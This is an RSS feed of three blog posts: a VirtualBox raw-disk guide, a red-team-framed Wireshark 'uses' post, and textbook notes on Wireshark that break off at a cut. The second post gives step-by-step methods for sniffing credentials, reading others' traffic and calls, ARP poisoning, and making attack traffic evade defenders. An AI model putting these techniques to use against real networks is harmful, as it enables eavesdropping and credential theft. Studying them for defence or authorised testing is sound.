<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by mug1sh4 on Medium]]></title>
        <description><![CDATA[Stories by mug1sh4 on Medium]]></description>
        <link>https://medium.com/@mug1sh4?source=rss-9cedfec9ebc7------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*pKYG-irNk0yQsYSzeg993w.jpeg</url>
            <title>Stories by mug1sh4 on Medium</title>
            <link>https://medium.com/@mug1sh4?source=rss-9cedfec9ebc7------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 01:23:19 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mug1sh4/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How I respectfully asked Windows 11 to run my external Ubuntu drive (Without Rebooting!)]]></title>
            <link>https://medium.com/@mug1sh4/how-i-respectfully-asked-windows-11-to-run-my-external-ubuntu-drive-without-rebooting-7579bfc104f9?source=rss-9cedfec9ebc7------2</link>
            <guid isPermaLink="false">https://medium.com/p/7579bfc104f9</guid>
            <category><![CDATA[virtual-machine]]></category>
            <category><![CDATA[windows-11]]></category>
            <category><![CDATA[virtualbox]]></category>
            <category><![CDATA[diskpart]]></category>
            <category><![CDATA[ubuntu]]></category>
            <dc:creator><![CDATA[mug1sh4]]></dc:creator>
            <pubDate>Sat, 06 Jun 2026 19:13:57 GMT</pubDate>
            <atom:updated>2026-06-06T19:29:18.434Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*rtiSQYIcKkztWhIhf5JIxg.png" /></figure><blockquote><strong><em>back up first, this can corrupt the OS if you get it wrong</em></strong></blockquote><p>We’ve all been there. You have an external hard drive with a nice, fully configured Ubuntu Linux setup on it. But every time you want to use it, you have to shut down your computer, smash the esc key like a maniac, mess around in a scary-looking Boot Menu, and switch your entire system over.</p><p>It’s exhausting and it reduces those hardly earned gangsta points ( and we don’t want that, do we?).</p><p>I wanted a better way. I wanted to run my actual, physical Ubuntu hard drive <strong>inside</strong> a window on my Windows 11 desktop — no rebooting required.</p><p>When I tried to do this using VirtualBox, I hit a massive brick wall of cryptic error messages. But after a bit of digital wrestling, I figured out the secret. Here is the story of how we built a “ Bridge of narnia” to make it happen, the exact commands that worked, and how you can do it too.</p><h3>Enter the VMs: Virtual Machines are Usually Simulators</h3><p>Normally, a Virtual Machine (VM) is just a simulator. It creates a fake, empty file on your computer and pretends that file is a blank hard drive.</p><p>But I didn’t want a fake hard drive. I already had a real, physical hard drive with a whole Ubuntu operating system sitting on my desk. To make VirtualBox talk directly to my real USB drive, I had to use something called <strong>Raw Hard Disk Access</strong>.</p><p>This is where the adventure began — and where Windows 11 started playing hard to get.</p><h3>Act 1: The Fight with a Jealous Operating System</h3><p>Normally, Windows is a very jealous operating system. The moment you plug in an external drive, Windows grabs it and says, <em>“This is mine now. I am going to monitor it and read it.”</em></p><p>Because Windows was holding onto the drive so tightly, VirtualBox wasn’t allowed to touch it. My first attempt rewarded me with a terrifyingly loud error: <strong>VERR_ACCESS_DENIED</strong>.</p><h3>The Fix: Telling Windows to “Let Go”</h3><p>To break Windows’ grip on my drive, I had to use a built-in tool called <strong>Disk Management</strong>.</p><ol><li>Right-click the Windows <strong>Start Button</strong> and select <strong>Disk Management</strong>.</li><li>Scroll down to find the external drive (in my case, it was <strong>Disk 1</strong>).</li><li>Right-click the square gray box on the left that says “Disk 1” and click <strong>Offline</strong>.</li></ol><p>We essentially tapped Windows on the shoulder and said, <em>“Drop it. Let go of the drive and pretend it isn’t even plugged in.”</em> Once Windows stepped away, the drive was free.</p><h3>Act 2: Building the “Bridge of Narnia”</h3><p>Next, I needed to create a special link. I didn’t want to copy my Ubuntu files onto my computer — that would take hours and waste space. Instead, I needed a shortcut.</p><p>I opened <strong>PowerShell as an Administrator</strong> and navigated to the VirtualBox folder:</p><pre>cd &quot;C:\Program Files\Oracle\VirtualBox&quot;</pre><p>Then, I tried to run the traditional command to link the drive, but modern versions of VirtualBox (Version 7+) are incredibly strict. It rejected my commands until I gave it the exact phrase it wanted.</p><pre>.\VBoxManage createmedium disk --filename=&quot;$HOME\ubuntu_disk.vmdk&quot; --format=VMDK --variant=RawDisk --property RawDrive=\\.\PhysicalDrive1</pre><p><em>(Note: If your drive is listed as Disk 2 or Disk 3 in Disk Management, you would change that </em><em>PhysicalDrive1 at the very end to match your number).</em></p><p>This command built a <strong>“ Bridge” file</strong> called ubuntu_disk.vmdk inside my user folder. This tiny file doesn&#39;t hold any data. It is purely a pointer that tells VirtualBox: <em>&quot;Hey, whenever you want to read or write data, look directly at USB Slot PhysicalDrive1.&quot;</em></p><h3>Act 3: Clearing the Hidden Security Traps</h3><p>Even after the command worked, I faced one final boss: Windows 11 security policies. If you try this and still get an access denied error, here are the two hidden traps I had to disarm:</p><h3>Trap 1: The Hidden Read-Only Lock</h3><p>Windows 11 often flags offline external drives as read-only. I had to use a terminal tool called diskpart to clear it:</p><pre>diskpart<br>select disk 1<br>attributes disk clear readonly<br>exit</pre><p>This stripped away a hidden “safety switch” Windows automatically flips on external drives.</p><h3>Trap 2: The Ghost background processes</h3><p>Even if you close the VirtualBox app window, its background engine (VBoxSVC.exe) stays active as a standard user, blocking your Administrator terminal. I had to open <strong>Task Manager</strong>, find VirtualBox, and hit <strong>End Task</strong> before running my command.</p><h3>Act 4: The Language Barrier (GPT &amp; UEFI)</h3><p>With the file created, I opened VirtualBox explicitly by right-clicking it and choosing <strong>Run as Administrator</strong>.</p><p>I created a new Virtual Machine, but when looking at my drive details in Disk Management, I noticed a tiny asterisk (*) under the <strong>GPT</strong> column. GPT is just a modern way hard drives organize their memories. Modern GPT drives speak a language called <strong>&quot;UEFI,&quot;</strong> while older computers speak &quot;BIOS.&quot;</p><p>If I didn’t change VirtualBox’s language settings, it would stare at my Ubuntu drive blankly and show a black screen.</p><h3>The Final Setting:</h3><p>Inside my Virtual Machine <strong>Settings</strong> -&gt; <strong>System</strong> -&gt; <strong>Motherboard</strong> tab, I checked the box for <strong>Enable EFI </strong>.</p><p>Then, I went to <strong>Storage</strong>, clicked the little hard disk icon, and chose the ubuntu_disk.vmdk ghost bridge file we made in Act 2.</p><h3>The Coupe de grace</h3><p>I selected my virtual machine, clicked the green <strong>Start</strong> arrow, and held my breath.</p><p>Shaboom!! The VirtualBox window flickered, and booted straight into my physical Ubuntu login screen.</p><p>Now, I have the absolute best of both worlds.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_ldNO_f2mp3J7a53UK8PaQ.png" /></figure><h3>Three Rules to Keep Your Setup Alive</h3><p>If you set this up yourself, keep these three in mind so you don’t corrupt your data:</p><ol><li><strong>Always Run as Admin:</strong> You must right-click VirtualBox and choose “Run as administrator” every single time you want to use this VM, or Windows will block the USB connection.</li><li><strong>Never Yank the Cable:</strong> Treat the VirtualBox window like a real computer. Always click <strong>Shut Down</strong> inside Ubuntu and wait for the window to close completely before unplugging your hard drive. Pulling the cable early can corrupt your entire OS.</li><li><strong>Watch the USB Ports:</strong> If you plug your drive into a different USB port next time, Windows might rename it from PhysicalDrive1 to PhysicalDrive2, breaking your ghost bridge. Try to use the same USB slot every time!</li></ol><p>Adieu!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7579bfc104f9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Wireshark 2 — Uses]]></title>
            <link>https://medium.com/@mug1sh4/wireshark-2-uses-2a5cf80795d6?source=rss-9cedfec9ebc7------2</link>
            <guid isPermaLink="false">https://medium.com/p/2a5cf80795d6</guid>
            <category><![CDATA[wireshark]]></category>
            <dc:creator><![CDATA[mug1sh4]]></dc:creator>
            <pubDate>Wed, 06 May 2026 15:27:11 GMT</pubDate>
            <atom:updated>2026-05-06T15:27:11.699Z</atom:updated>
            <content:encoded><![CDATA[<h4>The Benefits of Wireshark</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E1gdPNBkoPol6ck-fReoZg.png" /></figure><h3><strong>1. Finding Easy Targets</strong></h3><p>Instead of running a “noisy” port scan that could get you caught, you just listen to existing traffic.</p><ul><li>How it’s done: Look at Statistics &gt; Endpoints to see every device on the network. You can filter for specific protocols like http or smb to see which servers are active and what software versions they are running without ever sending a single packet to them.</li></ul><p>( Listening to existing traffic (also called passive sniffing) is the process of capturing data that is already moving through the network without sending any of your own signals.</p><p>1. Enable Promiscuous Mode</p><p>By default, your computer only “listens” to traffic specifically sent to it. To see traffic meant for other devices, you must enable Promiscuous Mode.</p><ul><li>How: In <a href="https://www.wireshark.org/">Wireshark</a>, go to Capture &gt; Options. Ensure the checkbox for “Enable promiscuous mode on all interfaces” is checked at the bottom.</li><li>Analogy: It’s like switching from a private phone call to a “listening device” that picks up everyone talking in a crowded room.</li></ul><p>2. Pick the Right Interface</p><p>You must choose the correct entry point (like Wi-Fi or Ethernet) where the traffic is actually flowing.</p><ul><li>How: When you open Wireshark, you’ll see a list of interfaces. Look for the one with a sparkline (heartbeat monitor) showing active spikes. Double-click that interface to start “hearing” the network.</li></ul><p>3. Overcome “Switch Isolation”</p><p>Modern networks use Switches, which are smart — they only send data to the specific device it’s intended for. Even in promiscuous mode, you might only see your own traffic and “broadcasts”. To truly listen to others, red teamers use these tricks:</p><ul><li>ARP Poisoning: You trick other devices into thinking <em>your</em> computer is the router. They will then send all their traffic to you first, allowing you to listen before passing it on.</li><li>Find a “Choke Point”: Connect your device to a part of the network where everyone’s data has to pass through, such as a main server or a legacy “Hub” (though hubs are rare now).</li><li>SPAN/Mirror Ports: If you have physical access to a network switch, you can sometimes configure it to send a copy of <em>all</em> traffic to your specific port.</li></ul><p>4. What to Look For (The “Passive Scan”)</p><p>Once you are listening, you don’t need to do anything. Just wait and watch the packets.</p><ul><li>ARP Packets: These reveal the IP and MAC addresses of every active device.</li><li>DNS Requests: These show you exactly which websites or internal servers people are visiting.</li><li>NBNS/LLMNR: These are common Windows “shouting” protocols that broadcast computer names and workgroups to the whole network.</li></ul><p>Tip: If you see a lot of traffic in the main window but it’s hard to read, go to Statistics &gt; Endpoints. This gives you a clean list of every “living” target currently on that network segment.</p><h3><strong>2. Stealing Credentials</strong></h3><p>You look for “leaky” protocols that send data without protection.</p><ul><li>How it’s done: Use the built-in tool via Tools &gt; Credentials (in newer versions) to automatically list found usernames and passwords. Alternatively, you can use a filter like http.authbasic or ftp and right-click a packet to select Follow &gt; TCP Stream to read the login details in plain text.</li></ul><p>( Stealing credentials with Wireshark (often called “sniffing”) works by capturing data as it travels across the network and picking out pieces that haven’t been encrypted.</p><p>Here is exactly how it is done, step-by-step:</p><p>1. Set the Filter</p><p>Instead of looking at thousands of confusing packets, you use a Display Filter to show only the traffic most likely to contain a login.</p><ul><li>For Websites (HTTP): Type http.request.method == &quot;POST&quot; in the filter bar and press Enter. Most login forms use the &quot;POST&quot; method to send your password to a server.</li><li>For File Servers (FTP): Type ftp in the filter bar. FTP is a very old protocol that sends everything in plain text.</li></ul><p>2. Locate the “Login” Packet</p><p>Look through the filtered results in the top window</p><ul><li>You are looking for a packet that says “Login” or “Authenticate” in the “Info” column.</li><li>When you find one, click on it to highlight it.</li></ul><p>3. Read the Data</p><p>Once you’ve clicked the packet, look at the middle pane (Packet Details).</p><ul><li>Expand the section for the protocol you are looking at (e.g., “Hypertext Transfer Protocol” or “File Transfer Protocol”).</li><li>Look for a line that says “HTML Form URL Encoded” or “Credentials”.</li><li>Inside, you will often see labels like user=admin and pass=12345 clearly visible.</li></ul><p>4. Use “Follow Stream” (The Shortcut)</p><p>If the data is hard to find in the middle pane, you can reconstruct the whole conversation.</p><ul><li>Right-click on any login packet and select Follow &gt; TCP Stream.</li><li>A new window will pop up showing the entire conversation in a readable format, often highlighting the username and password in red (client data) or blue (server data).</li></ul><p>5. Use the “Credentials” Tool (The Easy Way)</p><p>Newer versions of Wireshark have a built-in automated tool for this.</p><ul><li>Go to Tools &gt; Credentials.</li><li>Wireshark will scan the entire capture and give you a simple table listing every username and password it found, along with the protocol used.</li></ul><p>The Catch: This only works for unencrypted traffic (like HTTP, FTP, or Telnet). If a site uses HTTPS, the data will look like scrambled nonsense unless you have the secret decryption keys.</p><h3><strong>3. Listening In</strong></h3><p>This allows you to “read over the shoulder” of someone on the network.</p><ul><li>How it’s done: By using Follow &gt; TCP/UDP Stream, Wireshark reconstructs fragmented packets into a readable conversation. If it’s a website or an email, you can see the exact text being sent back and forth.</li></ul><p>( “Listening in” (Number 3) refers to Session Reconstruction, where you take thousands of separate packets and piece them back together to see a full email, chat, or website exactly as it appeared to the user</p><p>Here is how a red teamer does it:</p><p>1. Identify a “Conversation”</p><p>First, you need to find a connection worth watching.</p><ul><li>How: Go to Statistics &gt; Conversations. Look for two IP addresses with a high “Packets” or “Bytes” count.</li><li>What it tells you: A high count usually means they are exchanging more than just a quick signal — they are likely sending files, messages, or web pages.</li></ul><p>2. Follow the Stream</p><p>Once you find a conversation, you use the Follow Stream feature to reassemble it.</p><ul><li>The Action: Right-click on any packet from that conversation and select Follow &gt; TCP Stream (or UDP/HTTP/SSL Stream).</li><li>The Result: A new window pops up showing the raw conversation in a readable format.</li></ul><p>3. Read the Data (Color-Coded)</p><p>Wireshark uses colors to make the “listening” part easy:</p><ul><li>Red Text: Data sent from the client (e.g., “Give me this secret file”).</li><li>Blue Text: Data sent back from the server (e.g., the actual content of the file or a “Success” message).</li></ul><p>4. Viewing Different Formats</p><p>Communications aren’t always just text. You can switch the view at the bottom of the “Follow Stream” window:</p><ul><li>ASCII: Best for reading emails, web pages, or basic commands.</li><li>Hex Dump: Useful if the communication is binary (like a piece of malware or a custom encrypted signal).</li><li>Raw: Used for saving the data exactly as it was captured to analyze it later with other tools.</li></ul><p>5. Listening to VoIP (Audio Calls)</p><p>If the conversation is a voice call (VoIP), the steps are slightly different:</p><ul><li>How: Go to Telephony &gt; VoIP Calls.</li><li>Action: Select the call you captured and click Play Streams.</li><li>The Result: Wireshark opens a player window that lets you actually hear the audio from the conversation.</li></ul><p>Note: Just like sniffing credentials, this works best on unencrypted traffic. If the conversation is over HTTPS or a secure VPN, you will just see scrambled text unless you have a way to decrypt it first.</p><h3><strong>4. Checking Your Stealth</strong></h3><p>Red teamers use Wireshark on their <em>own</em> machine to see what their attacks “look like” before launching them.</p><ul><li>How it’s done: Run a capture while you trigger your exploit or “beacon” (your malware calling home). Look at the I/O Graphs to see if your traffic creates suspicious “spikes” or if it blends in with normal HTTPS traffic.</li></ul><p>( To “Check Your Stealth” (Number 4), you are essentially playing both “cat” and “mouse.” You run Wireshark on your own machine to see exactly what your attack looks like to the defenders before you launch it for real.</p><p>Here is how a red teamer does it:</p><p>1. The “Baselines” Capture</p><p>Before you launch your attack tool (like a malware beacon or a scanner), you start a capture to see what “quiet” looks like.</p><ul><li>How: Start Wireshark on your attack machine and let it run for a minute without doing anything.</li><li>The Goal: You want to see the background “noise” of your OS so you can ignore it later.</li></ul><p>2. Trigger the “Attack”</p><p>While Wireshark is running, you run your offensive tool (e.g., Metasploit, a custom C2 beacon, or an Nmap scan).</p><ul><li>How: Switch to your terminal, run the command, and then switch back to Wireshark to see the new packets appearing in real-time.</li></ul><p>3. Analyze the “Footprint”</p><p>Now you look for things that would make a Blue Teamer (defender) suspicious. Red teamers specifically check for:</p><ul><li>Timing (Beaconing): If your malware “calls home” every exactly 60 seconds, it’s easy to detect. You check the Time column in Wireshark. If the gaps are identical, you know you need to add “jitter” (random delays) to make it look more human.</li><li>Packet Size: Does your attack send thousands of tiny packets? That’s a red flag. You use Statistics &gt; Packet Lengths to see if your traffic pattern looks like a normal web browser or a robotic hacking tool.</li><li>Cleartext Metadata: You look at the Packet Details pane for your traffic. Does the “User-Agent” string say something obvious like nmap or python-requests? If so, a defender&#39;s firewall will block you instantly. You use this info to go back and rename your tool&#39;s signature to look like Mozilla/5.0 (Chrome).</li></ul><p>4. The I/O Graph (Visual Stealth)</p><p>This is the best way to see if your attack “spikes” and draws attention.</p><ul><li>How: Go to Statistics &gt; I/O Graph.</li><li>The Goal: If your attack creates a giant “skyscraper” spike on the graph, it’s not stealthy. Red teamers use this graph to tune their tools so the attack looks like a flat, slow “hill” that blends in with regular background traffic.</li></ul><p>5. DNS Leak Testing</p><p>If you are using a VPN or Proxy to stay hidden, you check Wireshark for any DNS packets leaving your real network interface.</p><ul><li>How: Filter for dns.</li><li>The Goal: If you see your real IP address asking for the domain of your target server, you’ve “leaked” your identity. You now know you need to fix your proxy settings.</li></ul><p>In short, Number 4 is about quality control. You use Wireshark to “proofread” your attack so it doesn’t trip any alarms. )</p><h3><strong>5. Finding “Loot”</strong></h3><p>You can grab files being sent across the network by others.</p><ul><li>How it’s done: Go to File &gt; Export Objects &gt; [Protocol] (like HTTP or SMB). Wireshark will list every file it saw transferred, and you can simply “Save” them to your own computer to see what’s inside.</li></ul><p>( To “Find Loot” (Number 5), you use Wireshark to reconstruct and save actual files (like PDFs, images, or .exe files) that were sent over the network.</p><p>Here is exactly how a red teamer extracts these files:</p><p>1. The “Automatic” Way (Export Objects)</p><p>Wireshark has a built-in feature that scans the entire capture for files and lists them for you.</p><ul><li>The Action: Go to File &gt; Export Objects.</li><li>Pick a Protocol: Choose the protocol used to send the file. The most common are:</li><li>HTTP: For files downloaded from websites.</li><li>SMB: For files shared between Windows computers on a local network.</li><li>TFTP/FTP: For files moved to/from servers.</li><li>The Result: A window pops up listing every file found. You can see the filename and size. Just click “Save” or “Save All” to put them on your own hard drive.</li></ul><p>2. The “Manual” Way (Follow Stream)</p><p>If the file doesn’t show up in the automatic list, you can grab it manually from a conversation.</p><ul><li>How: Find a packet that looks like a file transfer (often large packets with a “200 OK” status in HTTP).</li><li>The Action: Right-click and select Follow &gt; TCP Stream.</li><li>Change the View: At the bottom of the popup window, change “Show data as” from ASCII to Raw.</li><li>Save it: Click “Save as…” and give it the correct extension (like .zip or .docx).</li></ul><p>3. Finding “Hidden” Loot</p><p>Sometimes files are sent in pieces. Red teamers look for specific signatures to find them.</p><ul><li>Filter for it: Use a filter like http.content_type contains &quot;application&quot; to find data that isn&#39;t just text.</li><li>Check the “Magic Bytes”: Every file has a “fingerprint.” For example, a PDF always starts with %PDF. A red teamer looks at the Hex View (bottom pane) for these patterns to see if a packet contains a piece of a file they want.</li></ul><p>4. Why Red Teamers Do This</p><ul><li>Sensitive Info: They look for files named passwords.xlsx, config.php, or internal_network_map.pdf.</li><li>Exfiltration Check: They use this to verify if their <em>own</em> data-stealing scripts are working correctly and moving files without corruption.</li><li>Malware Analysis: If they see a server sending an .exe to a workstation, they can grab that file to see if the target has already been infected by someone else (or to use it themselves).</li></ul><p>The Catch: Again, if the file is sent over an encrypted connection (HTTPS/TLS), you will see the transfer happening, but the “Export Objects” list will be empty because the file is scrambled. )</p><h3><strong>6. Mapping the Network</strong></h3><p>This helps you visualize the “lay of the land” beyond just a list of IPs.</p><ul><li>How it’s done: Use Statistics &gt; Conversations to see who is talking to whom. This reveals “hidden” relationships — for example, if a regular workstation is talking to a database server, you’ve just found a high-value path to follow.</li></ul><p>( To “Map the Network” (Number 6), you use Wireshark to turn a mess of thousands of packets into a “blueprint” of the target’s infrastructure. Instead of looking at individual messages, you look at the big picture of who is talking to whom.</p><p>Here is how a red teamer does it:</p><p>1. The “Endpoints” List (The Phonebook)</p><p>This is the fastest way to see every device that is currently “awake” on the network.</p><ul><li>The Action: Go to Statistics &gt; Endpoints.</li><li>The View: Click the IPv4 or IPv6 tab.</li><li>The Goal: You now have a list of every IP address. You can sort by “Packets” to see which machines are the busiest (usually servers) and which are quiet (usually idle workstations).</li></ul><p>2. The “Conversations” Map (The Social Network)</p><p>This shows you the “relationships” between devices.</p><ul><li>The Action: Go to Statistics &gt; Conversations.</li><li>The Goal: You are looking for specific patterns:</li><li>One IP talking to many others: This is likely a Domain Controller or a File Server.</li><li>A workstation talking to an outside IP: This could be a user browsing the web or an admin remoting in.</li><li>Server-to-Server traffic: This helps you find the “back-end,” like where the web server talks to the database.</li></ul><p>3. Protocol Hierarchy (The “What’s Running” View)</p><p>This tells you what <em>kinds</em> of services are active on the network without you having to scan them.</p><ul><li>The Action: Go to Statistics &gt; Protocol Hierarchy.</li><li>The Goal: You’ll see a percentage breakdown (e.g., 40% HTTP, 10% SMB, 5% SSH).</li><li>Red Team Insight: If you see Telnet or RDP, you’ve found a potential remote-access entry point. If you see SMB, you know there are shared folders to explore.</li></ul><p>4. Name Resolution (Putting Names to Numbers)</p><p>IP addresses (like 192.168.1.50) are hard to remember. You want the actual names (like ACCOUNTING-PC).</p><ul><li>The Action: Go to View &gt; Name Resolution &gt; Resolve Network Addresses.</li><li>The Goal: Wireshark will try to find the “Hostnames” of the devices. Now, your map shows you exactly what each machine is for — helping you prioritize targets like CEO-LAPTOP or SQL-PROD-01.</li></ul><p>5. The “I/O Graph” for Traffic Flow</p><p>Red teamers use this to see <em>when</em> the network is busiest.</p><ul><li>The Action: Go to Statistics &gt; I/O Graph.</li><li>The Goal: If you notice a massive drop in traffic at 5:00 PM, you know that’s the best time to run your “loud” scripts because fewer people are watching the network.</li></ul><p>Why Red Teamers do this:</p><p>By mapping the network passively, you find the “Crown Jewels” (the most important servers) without ever touching them. You learn the “neighborhood” so you can move through it without getting lost or triggering an alarm. )</p><h3><strong>7. Testing Modern Attacks</strong></h3><p>When performing a complex attack like a Man-in-the-Middle (MITM), you need to know it’s actually working.</p><ul><li>How it’s done: You filter for arp packets to see if your &quot;poisoned&quot; updates are reaching the target. If you see traffic intended for the gateway arriving at <em>your</em> MAC address, you know your attack was successful.</li></ul><p>To “Test Modern Attacks” (Number 7), you use Wireshark to verify if your exploit actually reached the target and if it worked as expected. It’s like a “confirmation receipt” for your hacks.</p><p>Here is how a red teamer does it for the most common attacks:</p><p>1. Testing MITM (Man-in-the-Middle)</p><p>When you try to intercept traffic (using a tool like Ettercap or Bettercap), you need to know if the target’s data is actually flowing through your machine.</p><ul><li>The Action: Start Wireshark on your attack machine and filter for eth.addr != [Your-MAC-Address].</li><li>The Goal: If you see packets where the “Source” and “Destination” are two <em>other</em> devices, your attack is working! You have successfully inserted yourself in the middle.</li></ul><p>2. Verifying ARP Spoofing</p><p>ARP spoofing is how you trick a computer into sending you its data.</p><ul><li>The Action: Filter for arp.</li><li>The Goal: Look for “Duplicate IP address” warnings or your own MAC address appearing next to the Router’s IP. If you see your machine telling the target “I am the Router,” and the target accepts it, the attack is live.</li></ul><p>3. Testing “Payload” Delivery</p><p>When you send a virus or a “reverse shell” to a target, you need to know if it successfully connected back to you.</p><ul><li>The Action: Filter for the specific port your attack uses (e.g., tcp.port == 4444).</li></ul><p>The Goal: Look for a SYN, then SYN-ACK, then ACK. This “Three-Way Handshake” proves the target is now talking to your attack server. If you only see “SYN” followed by “RST” (Reset), you know a firewall blocked you.</p><p>4. Detecting “Honey Pots”</p><p>Sometimes defenders set up fake servers (Honey Pots) to catch hackers.</p><ul><li>The Action: Look at the TCP Window Size in the packet details.</li></ul><p>The Goal: If a server responds instantly to every single request with the exact same settings or unusual patterns, it might be a fake machine designed to trap you. Wireshark helps you spot these “too-perfect” responses.</p><p>5. Troubleshooting Exploit Failures</p><p>If your exploit fails, Wireshark tells you <em>why</em>.</p><ul><li>The Action: Look at the ICMP packets or TCP Reset flags.</li></ul><p>The Goal:</p><ul><li>ICMP Destination Unreachable: The target can’t be found.</li><li>TCP RST (Reset): A firewall or antivirus killed the connection.</li><li>Zero Window: You crashed the target service (it can’t handle more data).</li></ul><p>Why Red Teamers do this:</p><p>Without Wireshark, an attack that doesn’t work is just a “black box” — you have no idea if you got caught, if the server is down, or if your code is broken. Wireshark gives you the real-time feedback needed to fix your attack and try again.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2a5cf80795d6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WireShark — 1]]></title>
            <link>https://medium.com/@mug1sh4/wireshark-1-014fa1f36d2f?source=rss-9cedfec9ebc7------2</link>
            <guid isPermaLink="false">https://medium.com/p/014fa1f36d2f</guid>
            <category><![CDATA[wireshark]]></category>
            <dc:creator><![CDATA[mug1sh4]]></dc:creator>
            <pubDate>Wed, 06 May 2026 15:26:39 GMT</pubDate>
            <atom:updated>2026-05-06T15:26:39.738Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E1gdPNBkoPol6ck-fReoZg.png" /></figure><p>Lets learn about wireshark with the help of the book <strong>Practical Packet Analysis </strong>by <strong>Chris Sanders</strong></p><h4>A Brief History of Wireshark</h4><p>Gerald Combs, a computer science graduate of the University of Missouri at Kansas City, originally developed it out of necessity. The very first version of Combs’ application, called Ethereal, was released in 1998 under the GNU Public License (GPL). Eight years after releasing Ethereal, Combs left his job to pursue other career opportunities. Unfortunately, his employer at that time had full rights to the Ethereal trademarks, and Combs was unable to reach an agreement that would allow him to control the Ethereal “brand.” Instead, Combs and the rest of the development team rebranded the project as Wireshark in mid-2006. 28 Chapter 3 Wireshark has grown dramatically in popularity, and its collaborative development team now boasts over 500 contributors. The program as it exists under the Ethereal name is no longer being developed.</p><h4>The Benefits of Wireshark</h4><ul><li>Finding Easy Targets: Quickly identifies devices on the network and what software they are running without sending loud, suspicious scans.</li><li>Stealing Credentials: Hooks into unencrypted traffic to grab passwords, usernames, and session tokens in plain text.</li><li>Listening In: Lets you read private communications (emails, chats, or web traffic) by reconstructing data streams.</li><li>Checking Your Stealth: Allows you to look at your own “attack” traffic to make sure it looks like normal web browsing and won’t get caught by security sensors.</li><li>Finding “Loot”: Lets you extract files (like documents or installers) directly from the air as they are being sent across the network.</li><li>Mapping the Network: Reveals how data flows between servers, helping you find the most important targets (like databases or admin consoles) to hit next.</li><li>Testing Modern Attacks: Helps you verify if complex attacks, like Man-in-the-Middle or packet injection, are actually working in real-time.</li></ul><h4>Your First Packet Capture</h4><ul><li>The first thing is that<strong> there is always something wrong on the network</strong>. If you don’t believe me, then go ahead and send an email to all of your employees and let them know that everything is working perfectly.</li><li>Secondly, <strong>there doesn’t have to be something wrong in order for you to perform packet analysis</strong>. In fact, most packet analysts spend more time analyzing problem-free traffic than traffic they are troubleshooting;<strong> you need a baseline to compare to in order to be able to effectively troubleshoot network traffic.</strong></li><li>For example, if you ever hope to solve a problem with DHCP by analyzing its traffic, you must understand what the flow of working DHCP traffic looks like. More broadly, in order to find anomalies in daily network activity, you must know what normal daily network activity looks like. When your network is running smoothly, you can set your baseline so that you’ll know what its traffic looks like in a normal state</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*Q_yoh6ei7m6NjxNimtTb_Q.png" /></figure><p>“The List Pane finds the Moment, the Details Pane explains the Method, and the Bytes Pane reveals the Message. To be a master analyst, you must keep one eye on the ‘Flow’ (Top) and the other on the ‘Raw Data’ (Bottom).”</p><h4>PACKET COLORS</h4><p>Packet Color Coding If you are anything like me, you may have an aversion to shiny objects and pretty colors. If that is the case, the first thing you probably noticed when you opened Wireshark were the different colors of the packets in the Packet List pane. It may seem like these colors are randomly assigned to each individual packet, but this is not the case.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/471/1*SD93qEg0LkZecHjlBINokA.png" /></figure><p>Each packet is displayed as a certain color for a reason. Wireshark’s color coding allows for quick protocol identification. Wireshark makes it easy to see which colors are assigned to each protocol through the Coloring Rules window.</p><ul><li>To open this window, follow these steps: 1. Open Wireshark. 2. Select View from the main drop-down menu. 3. Click Coloring Rules. The Coloring Rules window should appear , displaying a complete list of all the coloring rules defined within Wireshark.</li></ul><p>You can define your own coloring rules and modify existing ones. The Coloring Rules dialog allows you to view and modify the coloring of packets. Introduction to Wireshark 37 For example, to change the color used as the background for HTTP traffic from the default green to lavender, follow these steps:</p><p>1. Open Wireshark and access the Coloring Rules dialog (ViewColoring Rules).</p><p>2. Find the HTTP coloring rule in the coloring rules list, and select it by clicking it once.</p><p>3. Click the Edit button.</p><p>4. Click the Background Color button — When editing a color filter, you can modify both foreground and background color.</p><p>5. Select the color you wish to use on the color wheel and click OK.</p><p>6. Click OK twice more to accept the changes and return to the main window.</p><p>7. The main window should then reload itself to reflect the updated color scheme.</p><p>As you work with Wireshark on your network, you will begin to notice that you work with certain protocols more than others. Here’s where colorcoded packets can make your life a lot easier. For example, if you think that there is a rogue DHCP server on your network handing out IP leases, you could simply modify the coloring rule for the DHCP protocol so that it shows up in bright yellow or some other easily identifiable color. This would allow you to pick out all DHCP traffic much more quickly and make your packet analysis more efficient.</p><h4>MERGING CAPTURED FILES</h4><p>Certain types of analysis require the ability to merge multiple capture files, and luckily, Wireshark provides two different methods for doing this. To merge a capture file, follow these steps:</p><p>1. Open one of the capture files you want to merge.</p><p>2. Choose FileMerge to bring up the Merge with Capture File dialog</p><p>3. Select the new file you wish to merge into the already open file, and then select the method to use for merging the files. You can prepend the selected file to the currently open one, append it, or merge the files chronologically based on their timestamps.</p><h3>Filtering (Noise Reduction)</h3><p>Wireshark is a firehose. On a busy network, you might capture 10,000 packets in a minute. Sanders teaches that you must ruthlessly eliminate what you don’t need.</p><h4>1. Capture Filters vs. Display Filters</h4><p><strong>1. Capture 